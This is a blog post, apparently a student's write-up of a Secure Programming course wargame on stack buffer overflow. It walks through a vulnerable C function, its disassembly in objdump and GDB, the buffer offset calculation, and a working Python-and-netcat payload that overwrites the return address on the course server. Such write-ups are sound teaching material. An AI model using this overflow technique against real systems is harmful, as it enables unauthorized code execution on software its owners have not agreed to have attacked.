Wednesday, October 1, 2014

Stack Buffer Overflow

In the course, Secure Programming, we are asked to solve wargame problems. Here comes the first practice: Stack Buffer Overflow.

Problem

void do_magic(char *buf,int n){
        int i;
        srand(time(NULL));
        for(i=0;i<n;i++)
                buf[i] ^= rand()%256;
}

void magic(){
        char magic_str[60];
        scanf("%s",magic_str);
        do_magic(magic_str,strlen(magic_str));
        printf("%s",magic_str);
}

Goal: Get the flag!

Analysis

The structure looks like this: local variable stack -> frame pointer -> return address. And, our goal is to replace the content of return address, and make the program start to run unwanted function.

[Solution 1] Disassemble the bin file.

You can apply any of following tools:
  1. objdump: objdump -d magic
  2. Online decompiler: http://decompiler.fit.vutbr.cz/decompilation-run/
  3. IDA Pro
And, I can get:
08048681 <magic>:
 8048681:       55                      push   %ebp
 8048682:       89 e5                   mov    %esp,%ebp
 8048684:       83 ec 58                sub    $0x58,%esp
 8048687:       8d 45 bc                lea    -0x44(%ebp),%eax
 804868a:       89 44 24 04             mov    %eax,0x4(%esp)
 804868e:       c7 04 24 36 88 04 08    movl   $0x8048836,(%esp)
 8048695:       e8 66 fe ff ff          call   8048500 <__isoc99_scanf@plt>

We can learn that the character array size would be 0x44 = 68. And, should add 4 for frame pointer.
*note: "ESP is the current stack pointer. EBP is the base pointer for the current stack frame."

[Solution 2] GDB debug analysis

>> gdb magic
(gdb) b magic
(gdb) run
(gdb) disas
Dump of assembler code for function magic:
   0x08048681 <+0>:     push   %ebp
   0x08048682 <+1>:     mov    %esp,%ebp
   0x08048684 <+3>:     sub    $0x58,%esp
   0x08048687 <+6>:     lea    -0x44(%ebp),%eax
   0x0804868a <+9>:     mov    %eax,0x4(%esp)
   0x0804868e <+13>:    movl   $0x8048836,(%esp)
   0x08048695 <+20>:    call   0x8048500 <__isoc99_scanf@plt>
=> 0x0804869a <+25>:    lea    -0x44(%ebp),%eax
   0x0804869d <+28>:    mov    %eax,(%esp)
   0x080486a0 <+31>:    call   0x80484d0 <strlen@plt>
   0x080486a5 <+36>:    mov    %eax,0x4(%esp)
   0x080486a9 <+40>:    lea    -0x44(%ebp),%eax
   0x080486ac <+43>:    mov    %eax,(%esp)
   0x080486af <+46>:    call   0x8048621 <do_magic>
   0x080486b4 <+51>:    lea    -0x44(%ebp),%eax
   0x080486b7 <+54>:    mov    %eax,0x4(%esp)
   0x080486bb <+58>:    movl   $0x8048836,(%esp)
   0x080486c2 <+65>:    call   0x8048460 <printf@plt>
   0x080486c7 <+70>:    leave
   0x080486c8 <+71>:    ret
(gdb) info registers
eax            0x1      1
ecx            0x1      1
edx            0xf7fb88c4       -134510396
ebx            0xf7fb6ff4       -134516748
esp            0xffffd560       0xffffd560
ebp            0xffffd5b8       0xffffd5b8
esi            0x0      0
edi            0x0      0
eip            0x804869a        0x804869a <magic+25>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

Try different size of inputs until ebp is modified, and we can know the size for stack buffer overflow.

Solution

(python -c 'print "heron\n" + "\x00"*72 + "\x0e\x86\x04\x08"' && cat) | nc secprog.cs.nctu.edu.tw 6666
  • ( python ... && cat ) is designed for not passing EOF to nc, which may close the connection before we interact with it.
  • \x0e\x86\x04\x08 is the address of the function we want the program to run, and it's indicated in little endian.

Reference